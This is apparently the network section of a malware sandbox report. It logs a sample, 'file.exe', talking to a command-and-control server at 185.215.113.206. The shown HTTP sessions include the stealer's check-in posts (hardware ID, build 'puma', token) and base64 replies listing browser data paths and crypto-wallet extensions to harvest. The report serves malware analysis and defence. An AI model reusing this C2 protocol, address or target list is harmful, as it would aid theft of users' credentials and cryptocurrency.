Oct 27, 2024 12:13:29.298849106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.298850060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.298866034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.298924923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.298984051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299005032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299021006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299035072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299040079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299051046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299072981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299088001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299103022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299118996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299133062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299139023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299207926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299304962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299329042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299343109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299357891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299365997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299374104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299392939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299420118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299431086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299474955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299515963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299531937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299546957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299555063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299561977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299577951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299585104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299622059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299642086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299664974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299679995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299695015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299709082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299729109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299874067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299901962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299916983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299932003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299940109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299949884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299954891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299968958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299971104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.299984932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.299992085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300015926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300052881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300237894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300265074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300280094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300295115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300309896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300314903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300324917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300338984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300343990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300354004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300369978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300374985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300389051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300396919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300441027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300642014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300669909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300688028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300690889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300703049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300718069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300726891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300733089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300750971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300755024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300766945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300784111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.300785065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300816059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.300848961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.301014900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301060915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.301170111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301184893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301199913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301208973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.301214933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301229954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301235914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.301244974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301259995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301268101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.301275969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301290035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301304102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.301310062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.301359892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.489559889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.489579916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.495275021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.495330095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:30.277398109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:30.277508974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:30.336980104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:30.342479944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:30.621845007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:30.621922970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:30.621942043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:30.621958017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:30.622000933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:30.622030020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:30.624325037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:30.629739046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:30.910653114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:30.910794973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:30.923861980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:30.929290056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:31.698194981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:31.698287010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:31.729044914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:31.734306097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:32.013444901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:32.013573885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:32.015053988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:32.020478010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:32.790697098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:32.790800095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:37.674930096 CET	49730	80	192.168.2.4	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 12:13:10.126486063 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 12:13:11.046061039 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:11.080358028 CET	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 46 30 38 38 36 46 31 34 37 34 35 32 35 33 37 30 33 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 2d 2d 0d 0a Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="hwid"E7F0886F1474525370364------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="build"puma------CFHCBKKFIJJJECAAFCGI--
Oct 27, 2024 12:13:11.375125885 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:11 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 47 55 31 59 7a 55 31 4d 54 63 34 4d 44 45 32 5a 6a 63 77 4d 7a 67 77 4e 6a 64 68 4d 57 59 31 59 6d 59 32 5a 6a 6b 7a 4f 44 51 77 4f 47 46 6c 5a 54 67 35 4e 57 49 33 4e 47 59 32 4d 6d 56 68 4e 54 45 30 4e 57 4e 6b 4e 54 68 6b 5a 6a 4a 69 5a 54 46 6a 4d 6a 46 6c 4f 47 4e 6d 4f 47 49 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MGU1YzU1MTc4MDE2ZjcwMzgwNjdhMWY1YmY2ZjkzODQwOGFlZTg5NWI3NGY2MmVhNTE0NWNkNThkZjJiZTFjMjFlOGNmOGI2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 27, 2024 12:13:11.376821995 CET	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="message"browsers------FHIDBKFCAAEBFIDHDBAE--
Oct 27, 2024 12:13:11.662220001 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:11 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 27, 2024 12:13:11.662285089 CET	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 27, 2024 12:13:11.663830042 CET	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFHCBFHDHCAAKFHDGD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 2d 2d 0d 0a Data Ascii: ------EBAFHCBFHDHCAAKFHDGDContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------EBAFHCBFHDHCAAKFHDGDContent-Disposition: form-data; name="message"plugins------EBAFHCBFHDHCAAKFHDGD--
Oct 27, 2024 12:13:11.948470116 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:11 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 27, 2024 12:13:11.948530912 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 27, 2024 12:13:11.948570013 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
